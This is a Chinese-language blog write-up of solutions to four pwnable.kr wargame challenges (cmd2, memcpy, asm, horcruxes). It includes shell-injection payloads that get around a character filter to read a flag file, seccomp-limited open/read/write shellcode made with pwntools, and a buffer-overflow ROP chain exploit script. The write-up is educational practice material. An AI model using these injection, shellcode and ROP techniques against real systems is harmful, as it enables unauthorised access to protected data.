pwnable.kr [Toddler's Bottle IV]

Albert Huang MED student | CS enthusiast

cmd2

這題跟 cmd1 很像,直接來看 cmd2.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <stdio.h>
#include <string.h>

int filter(char* cmd){
int r=0;
r += strstr(cmd, "=")!=0;
r += strstr(cmd, "PATH")!=0;
r += strstr(cmd, "export")!=0;
r += strstr(cmd, "/")!=0;
r += strstr(cmd, "`")!=0;
r += strstr(cmd, "flag")!=0;
return r;
}

extern char** environ;
void delete_env(){
char** p;
for(p=environ; *p; p++) memset(*p, 0, strlen(*p));
}

int main(int argc, char* argv[], char** envp){
delete_env();
putenv("PATH=/no_command_execution_until_you_become_a_hacker");
if(filter(argv[1])) return 0;
printf("%s\n", argv[1]);
setregid(getegid(), getegid());
system( argv[1] );
return 0;
}

這題的環境變數限制一樣,但過濾條件變得更嚴格,我們前一題的 /bin/cat 會因為阻擋了 / 而無法一般使用。

最直覺的方式就是使用 $(pwd) 在根目錄時會代表 / 的特性來替代,就可以一樣使用上一題的 payload 模式,如下所示:

1
2
3
4
cmd2@ubuntu:~$ cd /
cmd2@ubuntu:/$ /home/cmd2/cmd2 '$(pwd)bin$(pwd)cat $(pwd)home$(pwd)cmd2$(pwd)fla*'
$(pwd)bin$(pwd)cat $(pwd)home$(pwd)cmd2$(pwd)fla*
[READACTED]

其他解法提供:

  • 使用 read 重設 PATH 環境變數為 /bin
1
2
3
4
cmd2@ubuntu:~$ ./cmd2 'read P""ATH; cat fla*'
read P""ATH; cat fla*
/bin
[READACTED]
  • 使用 read 直接執行指令 /bin/cat flag 並印出
1
2
3
4
cmd2@ubuntu:~$ ./cmd2 '$(read x; echo $x)'
$(read x; echo $x)
/bin/cat flag
[READACTED]
  • 利用內建指令 command -p 來使用系統預設的 PATH 環境變數來執行指令(忽略 putenv("PATH=..."))
1
2
3
cmd2@ubuntu:~$ ./cmd2 'command -p cat fla*'
command -p cat fla*
[READACTED]
  • 使用八進位(octal)替代
1
2
3
cmd2@ubuntu:~$ ./cmd2 '$(printf "\57\142\151\156\57\143\141\164\40\146\154\141\147")'
$(printf "\57\142\151\156\57\143\141\164\40\146\154\141\147")
[READACTED]

memcpy

連到機器後先來看一下檔案內容:

1
2
3
4
5
6
7
memcpy@ubuntu:~$ ls
Dockerfile memcpy.c readme super.pl
memcpy@ubuntu:~$ cat readme
the compiled binary of "memcpy.c" source code (with real flag) will be executed under memcpy_pwn privilege if you connect to port 9022.
execute the binary by connecting to daemon(nc 0 9022).

nc 0 2000 if service is down

簡單說明了我們要用 nc 0 9022 來解題,來看一下 memcpy.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
// gcc -o memcpy memcpy.c -m32 -lm
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <sys/mman.h>
#include <math.h>

unsigned long long rdtsc(){
asm("rdtsc");
}

char* slow_memcpy(char* dest, const char* src, size_t len){
int i;
for (i=0; i<len; i++) {
dest[i] = src[i];
}
return dest;
}

char* fast_memcpy(char* dest, const char* src, size_t len){
size_t i;
// 64-byte block fast copy
if(len >= 64){
i = len / 64;
len &= (64-1);
while(i-- > 0){
__asm__ __volatile__ (
"movdqa (%0), %%xmm0\n"
"movdqa 16(%0), %%xmm1\n"
"movdqa 32(%0), %%xmm2\n"
"movdqa 48(%0), %%xmm3\n"
"movntps %%xmm0, (%1)\n"
"movntps %%xmm1, 16(%1)\n"
"movntps %%xmm2, 32(%1)\n"
"movntps %%xmm3, 48(%1)\n"
::"r"(src),"r"(dest):"memory");
dest += 64;
src += 64;
}
}

// byte-to-byte slow copy
if(len) slow_memcpy(dest, src, len);
return dest;
}

int main(void){

setvbuf(stdout, 0, _IONBF, 0);
setvbuf(stdin, 0, _IOLBF, 0);

printf("Hey, I have a boring assignment for CS class.. :(\n");
printf("The assignment is simple.\n");

printf("-----------------------------------------------------\n");
printf("- What is the best implementation of memcpy? -\n");
printf("- 1. implement your own slow/fast version of memcpy -\n");
printf("- 2. compare them with various size of data -\n");
printf("- 3. conclude your experiment and submit report -\n");
printf("-----------------------------------------------------\n");

printf("This time, just help me out with my experiment and get flag\n");
printf("No fancy hacking, I promise :D\n");

unsigned long long t1, t2;
int e;
char* src;
char* dest;
unsigned int low, high;
unsigned int size;
// allocate memory
char* cache1 = mmap(0, 0x4000, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
char* cache2 = mmap(0, 0x4000, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
src = mmap(0, 0x2000, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);

size_t sizes[10];
int i=0;

// setup experiment parameters
for(e=4; e<14; e++){ // 2^13 = 8K
low = pow(2,e-1);
high = pow(2,e);
printf("specify the memcpy amount between %d ~ %d : ", low, high);
scanf("%d", &size);
if( size < low || size > high ){
printf("don't mess with the experiment.\n");
exit(0);
}
sizes[i++] = size;
}

sleep(1);
printf("ok, lets run the experiment with your configuration\n");
sleep(1);

// run experiment
for(i=0; i<10; i++){
size = sizes[i];
printf("experiment %d : memcpy with buffer size %d\n", i+1, size);
dest = malloc( size );

memcpy(cache1, cache2, 0x4000); // to eliminate cache effect
t1 = rdtsc();
slow_memcpy(dest, src, size); // byte-to-byte memcpy
t2 = rdtsc();
printf("ellapsed CPU cycles for slow_memcpy : %llu\n", t2-t1);

memcpy(cache1, cache2, 0x4000); // to eliminate cache effect
t1 = rdtsc();
fast_memcpy(dest, src, size); // block-to-block memcpy
t2 = rdtsc();
printf("ellapsed CPU cycles for fast_memcpy : %llu\n", t2-t1);
printf("\n");
}

printf("thanks for helping my experiment!\n");
printf("flag : [erased here. get it from server]\n");
return 0;
}

很簡單的可以看出,這個程式使用 32 位元編譯,實作分為 slow_memcpy 與 fast_memcpy,我們最終的目的就是讓程式能夠順利執行完成,最後就可以拿到 flag,但其中什麼地方可能會出現問題呢?

slow_memcpy 就是個單純的 for 迴圈實作複製,沒什麼問題,因此我們來專注分析 fast_memcpy:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
char* fast_memcpy(char* dest, const char* src, size_t len){
size_t i;
// 64-byte block fast copy
if(len >= 64){
i = len / 64;
len &= (64-1);
while(i-- > 0){
__asm__ __volatile__ (
"movdqa (%0), %%xmm0\n"
"movdqa 16(%0), %%xmm1\n"
"movdqa 32(%0), %%xmm2\n"
"movdqa 48(%0), %%xmm3\n"
"movntps %%xmm0, (%1)\n"
"movntps %%xmm1, 16(%1)\n"
"movntps %%xmm2, 32(%1)\n"
"movntps %%xmm3, 48(%1)\n"
::"r"(src),"r"(dest):"memory");
dest += 64;
src += 64;
}
}

// byte-to-byte slow copy
if(len) slow_memcpy(dest, src, len);
return dest;
}

首先可以觀察到,他想要一次進行 64 bytes 的複製工作,因此他使用了 SSE(Streaming SIMD Extensions) 的 x86 CPU 指令集擴充:xmm 暫存器來一次儲存 128 bit = 16 bytes 的數值,並重複 4 次達到 64 bytes。

用來實作的指令 movdqa 與 movntps,則是藉由下面的表達式:::"r"(src),"r"(dest):"memory");,讓他們知道要將資料從 src 搬運到 dest 上,其中會嚴格遵守對齊 16 bytes 的要求。

問題在於,main 函數中用來進行實驗記憶體分配的 malloc 指令,在 32 位元的環境下會在分配的地址起點加入 8 bytes 的 chunk header,回傳的可寫地址便會偏移 8 bytes。因此如果我們的輸入大小讓複製時的對齊不為 16 bytes 的要求,用來實作 fast_memcpy 的指令便會出錯。

因此我們的輸入便必須讓每次的對齊都能對準 16 bytes 的倍數,如下所示:

1
2
3
4
5
6
7
8
9
10
11
input:
8 ~ 16: 8 => [---8 bytes chunk---] + 8 bytes = 16 % 16 = 0 --> OK
16 ~ 32: 24 => [---8 bytes chunk---] + 24 bytes = 32 % 16 = 0 --> OK
32 ~ 64: 40 => [---8 bytes chunk---] + 40 bytes = 48 % 16 = 0 --> OK
64 ~ 128: 72 => [---8 bytes chunk---] + 72 bytes = 80 % 16 = 0 --> OK
128 ~ 256: 136 => [---8 bytes chunk---] + 136 bytes = 144 % 16 = 0 --> OK
256 ~ 512: 264 => [---8 bytes chunk---] + 264 bytes = 272 % 16 = 0 --> OK
512 ~ 1024: 520 => [---8 bytes chunk---] + 520 bytes = 528 % 16 = 0 --> OK
1024 ~ 2048: 1032 => [---8 bytes chunk---] + 1032 bytes = 1040 % 16 = 0 --> OK
2048 ~ 4096: 2056 => [---8 bytes chunk---] + 2056 bytes = 2064 % 16 = 0 --> OK
4096 ~ 8192: 4104 => [---8 bytes chunk---] + 4104 bytes = 4112 % 16 = 0 --> OK

當然還有其他數字可以通過測試,只要讓出來的 bytes 對齊 16 bytes 即可~

輸入後即可過關:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
memcpy@ubuntu:~$ nc 0 9022
Hey, I have a boring assignment for CS class.. :(
The assignment is simple.
-----------------------------------------------------
- What is the best implementation of memcpy? -
- 1. implement your own slow/fast version of memcpy -
- 2. compare them with various size of data -
- 3. conclude your experiment and submit report -
-----------------------------------------------------
This time, just help me out with my experiment and get flag
No fancy hacking, I promise :D
specify the memcpy amount between 8 ~ 16 : 8
specify the memcpy amount between 16 ~ 32 : 24
specify the memcpy amount between 32 ~ 64 : 40
specify the memcpy amount between 64 ~ 128 : 72
specify the memcpy amount between 128 ~ 256 : 136
specify the memcpy amount between 256 ~ 512 : 264
specify the memcpy amount between 512 ~ 1024 : 520
specify the memcpy amount between 1024 ~ 2048 : 1032
specify the memcpy amount between 2048 ~ 4096 : 2056
specify the memcpy amount between 4096 ~ 8192 : 4104
ok, lets run the experiment with your configuration
...

thanks for helping my experiment!
[READACTED]

asm

連到機器之後來看一下檔案內容:

1
2
3
4
5
6
7
8
asm@ubuntu:~$ ls
asm
asm.c
readme
this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong
asm@ubuntu:~$ cat readme
once you connect to port 9026, the "asm" binary will be executed under asm_pwn privilege.
make connection to challenge (nc 0 9026) then get the flag. (file name of the flag is same as the one in this directory)

說明要用 nc 0 9026 來解題,並且有提供 flag 檔案名稱,來看一下 asm.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <seccomp.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <unistd.h>

#define LENGTH 128

void sandbox(){
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
if (ctx == NULL) {
printf("seccomp error\n");
exit(0);
}

seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);

if (seccomp_load(ctx) < 0){
seccomp_release(ctx);
printf("seccomp error\n");
exit(0);
}
seccomp_release(ctx);
}

char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff";
unsigned char filter[256];
int main(int argc, char* argv[]){

setvbuf(stdout, 0, _IONBF, 0);
setvbuf(stdin, 0, _IOLBF, 0);

printf("Welcome to shellcoding practice challenge.\n");
printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n");
printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n");
printf("If this does not challenge you. you should play 'asg' challenge :)\n");

char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);
memset(sh, 0x90, 0x1000);
memcpy(sh, stub, strlen(stub));

int offset = sizeof(stub);
printf("give me your x64 shellcode: ");
read(0, sh+offset, 1000);

alarm(10);
chroot("/home/asm_pwn"); // you are in chroot jail. so you can't use symlink in /tmp
sandbox();
((void (*)(void))sh)();
return 0;
}

很明顯地這是一個寫 shellcode 的題目,並且 seccomp 限制只能使用 open、read、write 來進行 shellcode,因此我們的目標很明確:使用 open 打開 flag 檔案、使用 read 讀取 flag 檔案,最後使用 write 輸出 flag 檔案的內容並使用 exit 退出。

直接使用 Python 實作,加上 pwntools 的 shellcode 生成器(記得指定 context.arch)。另外因為不指定讀入資料後的儲存位址,我們直接讓 rsp 將資料讀進 stack 中即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

context.arch = 'amd64'

sh = ssh('asm', 'pwnable.kr', password='guest', port=2222)
r = sh.remote('localhost', 9026)

flag_name = 'this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong'

shellcode = asm(
shellcraft.open(flag_name) +
shellcraft.read('rax', 'rsp', 100) + # rax stores the fd from open
shellcraft.write(1, 'rsp', 100) +
shellcraft.exit(0)
)

r.recv()
r.sendline(shellcode)
r.interactive()

執行後即可獲得 flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ python3 exploit.py
[+] Connecting to pwnable.kr on port 2222: Done
[*] asm@pwnable.kr:
Distro Ubuntu 22.04
OS: linux
Arch: amd64
Version: 5.15.0
ASLR: Enabled
SHSTK: Disabled
IBT: Disabled
[+] Connecting to localhost:9026 via SSH to pwnable.kr: Done
[*] Switching to interactive mode
[READACTED]
lease_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooo[*] Got EOF while reading in interactive

P.S.1 因為檔名過長,這裡就不示範怎麼手刻組合語言了,不然光是要指定檔名的指令就會爆炸長 :P

P.S.2 題目提供的 shellcode 是將所有的 register 都設為 0 的意思

horcruxes

連到題目之後來看一下題目內容:

1
2
3
4
5
horcruxes@ubuntu:~$ ls
horcruxes readme
horcruxes@ubuntu:~$ cat readme
connect to port 9032 (nc 0 9032). the 'horcruxes' binary will be executed under horcruxes_pwn privilege.
rop it to read the flag.

題目清楚的告訴我們,我們需要進行 ROP 來讀 flag,但他沒有給 source code,因此我們直接把檔案傳送到本地來進行分析:

1
2
3
4
5
$ scp -P 2222 horcruxes@pwnable.kr:/home/horcruxes/horcruxes ./
horcruxes@pwnable.kr's password:
horcruxes 100% 15KB 33.4KB/s 00:00
$ file horcruxes
horcruxes: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=7cee0a2fb1680db14f01f2e40b4251364eeaa58b, for GNU/Linux 3.2.0, not stripped

是 32-bit 的檔案,使用 IDA 來進行逆向:

  • main
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+0h] [ebp-Ch]

setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
alarm(0x3Cu);
hint();
init_ABCDEFG();
v4 = seccomp_init(0);
seccomp_rule_add(v4, 0x7FFF0000, 173, 0);
seccomp_rule_add(v4, 0x7FFF0000, 5, 0);
seccomp_rule_add(v4, 0x7FFF0000, 295, 0);
seccomp_rule_add(v4, 0x7FFF0000, 3, 0);
seccomp_rule_add(v4, 0x7FFF0000, 4, 0);
seccomp_rule_add(v4, 0x7FFF0000, 252, 0);
seccomp_load(v4);
return ropme();
}
  • seccomp 規則(32-bit):白名單規則
    • 0x7FFF0000:SECCOMP_RET_ALLOW
      • 173:rt_sigreturn
      • 5:open
      • 295:openat
      • 3:read
      • 4:write
      • 252:exit_group
  • init_ABCDEFG
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int init_ABCDEFG()
{
int result; // eax
unsigned int buf; // [esp+8h] [ebp-10h] BYREF
int fd; // [esp+Ch] [ebp-Ch]

fd = open("/dev/urandom", 0);
if ( read(fd, &buf, 4u) != 4 )
{
puts("/dev/urandom error");
exit(0);
}
close(fd);
srand(buf);
a = 0xDEADBEEF * rand() % 0xCAFEBABE;
b = 0xDEADBEEF * rand() % 0xCAFEBABE;
c = 0xDEADBEEF * rand() % 0xCAFEBABE;
d = 0xDEADBEEF * rand() % 0xCAFEBABE;
e = 0xDEADBEEF * rand() % 0xCAFEBABE;
f = 0xDEADBEEF * rand() % 0xCAFEBABE;
g = 0xDEADBEEF * rand() % 0xCAFEBABE;
result = f + e + d + c + b + a + g;
sum = result;
return result;
}
  • ropme
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
int ropme()
{
char s[100]; // [esp+4h] [ebp-74h] BYREF
int v2; // [esp+68h] [ebp-10h] BYREF
int fd; // [esp+6Ch] [ebp-Ch]

printf("Select Menu:");
__isoc99_scanf("%d", &v2);
getchar();
if ( v2 == a )
{
A();
}
else if ( v2 == b )
{
B();
}
else if ( v2 == c )
{
C();
}
else if ( v2 == d )
{
D();
}
else if ( v2 == e )
{
E();
}
else if ( v2 == f )
{
F();
}
else if ( v2 == g )
{
G();
}
else
{
printf("How many EXP did you earned? : ");
gets(s);
if ( atoi(s) == sum )
{
fd = open("/home/horcruxes_pwn/flag", 0);
s[read(fd, s, 0x64u)] = 0;
puts(s);
close(fd);
exit(0);
}
puts("You'd better get more experience to kill Voldemort");
}
return 0;
}
  • A(舉例)
1
2
3
4
int A()
{
return printf("You found \"Tom Riddle's Diary\" (EXP +%d)\n", a);
}

根據上面逆向的結果,很清楚地我們需要在 ropme 函數中輸入正確的 sum 值才能獲得 flag,而輸入的位置則存在一個沒有限制使用者輸入長度的 gets() 漏洞。

另外,A ~ G 函數則會印出 a ~ g 的數值內容,原本應該是只有 if 驗證通過時才會執行,但我們可以結合剛剛的 buffer overflow 漏洞,拼接出 ROP chain 依序執行 A ~ G 函數,此時我們知道了 a ~ g 的數值內容,即可再次呼叫 ropme 並輸入正確的 sum 來獲得flag。

先來使用 Pwndbg 找出 return address 的 offset:

  1. 確認斷點
1
2
3
4
5
6
7
8
   0x080415fa <+239>:   add    esp,0x10
0x080415fd <+242>: sub esp,0xc
0x08041600 <+245>: lea eax,[ebp-0x74]
0x08041603 <+248>: push eax
0x08041604 <+249>: call 0x8041080 <gets@plt>
...
0x08041696 <+395>: leave
0x08041697 <+396>: ret

將斷點設置於 0x08041603 與 0x08041697,便於輸入以及抓取 esp 的值:

1
2
pwndbg> b *0x08041603
pwndbg> b *0x08041697
  1. 利用 cyclic 產生 payload
1
pwndbg> cyclic 200
  1. 將程式執行並 nexti 一次到 gets() 位置,輸入 payload,並且輸入 continue 來執行到下一個斷點 ret:
1
2
3
4
pwndbg> r
pwndbg> ni
...
pwndbg> c
  1. 確認 esp 值並利用 cyclic 計算 offset:
1
2
3
4
5
pwndbg> x/wx $esp
0xffffcb9c: 0x62616166
pwndbg> cyclic -l 0x62616166
Finding cyclic pattern of 4 bytes: b'faab' (hex: 0x66616162)
Found at offset 120

確認 offset 是 120 後,即可使用 Python 實作 ROP chain:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import *

"""
$ checksec horcruxes
[*] '/mnt/c/Users/USER/Downloads/horcruxes'
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8040000)
Stripped: No
"""

sh = ssh('horcruxes', 'pwnable.kr', password='guest', port=2222)
r = sh.remote('localhost', 9032)

"""
pwndbg> info functions
...
0x0804129d A
0x080412cf B
0x08041301 C
0x08041333 D
0x08041365 E
0x08041397 F
0x080413c9 G
0x080413fb main
0x0804150b ropme
"""

A_addr = 0x0804129d
B_addr = 0x080412cf
C_addr = 0x08041301
D_addr = 0x08041333
E_addr = 0x08041365
F_addr = 0x08041397
G_addr = 0x080413c9
ropme = 0x0804150b

rop_chain = flat([
b'A' * 120,
p32(A_addr),
p32(B_addr),
p32(C_addr),
p32(D_addr),
p32(E_addr),
p32(F_addr),
p32(G_addr),
p32(ropme)
])

r.recv()
r.sendline(b'123') # menu any number
r.recv()
r.sendline(rop_chain)

r.recvline()
a = int(r.recvline().strip().decode().split('+')[1][:-1])
b = int(r.recvline().strip().decode().split('+')[1][:-1])
c = int(r.recvline().strip().decode().split('+')[1][:-1])
d = int(r.recvline().strip().decode().split('+')[1][:-1])
e = int(r.recvline().strip().decode().split('+')[1][:-1])
f = int(r.recvline().strip().decode().split('+')[1][:-1])
g = int(r.recvline().strip().decode().split('+')[1][:-1])

sum = (a + b + c + d + e + f + g) & 0xffffffff # avoid integer overflow

r.recv()
r.sendline(b'123') # menu any number
r.recv()
r.sendline(str(sum).encode())

r.interactive()

執行後即可獲得 flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
$ python3 exploit.py
[+] Connecting to pwnable.kr on port 2222: Done
[*] asm@pwnable.kr:
Distro Ubuntu 22.04
OS: linux
Arch: amd64
Version: 5.15.0
ASLR: Enabled
SHSTK: Disabled
IBT: Disabled
[+] Connecting to localhost:9032 via SSH to pwnable.kr: Done
[*] Switching to interactive mode
[READACTED]
  • Title: pwnable.kr [Toddler's Bottle IV]
  • Author: Albert Huang
  • Created at : 2026-09-09 21:30:32
  • Updated at : 2026-09-09 21:35:05
  • Link: https://blog.albert-web.tw/2026/09/09/pwnable-kr-writeup-4/
  • License: This work is licensed under CC BY-NC-SA 4.0.
On this page
pwnable.kr [Toddler's Bottle IV]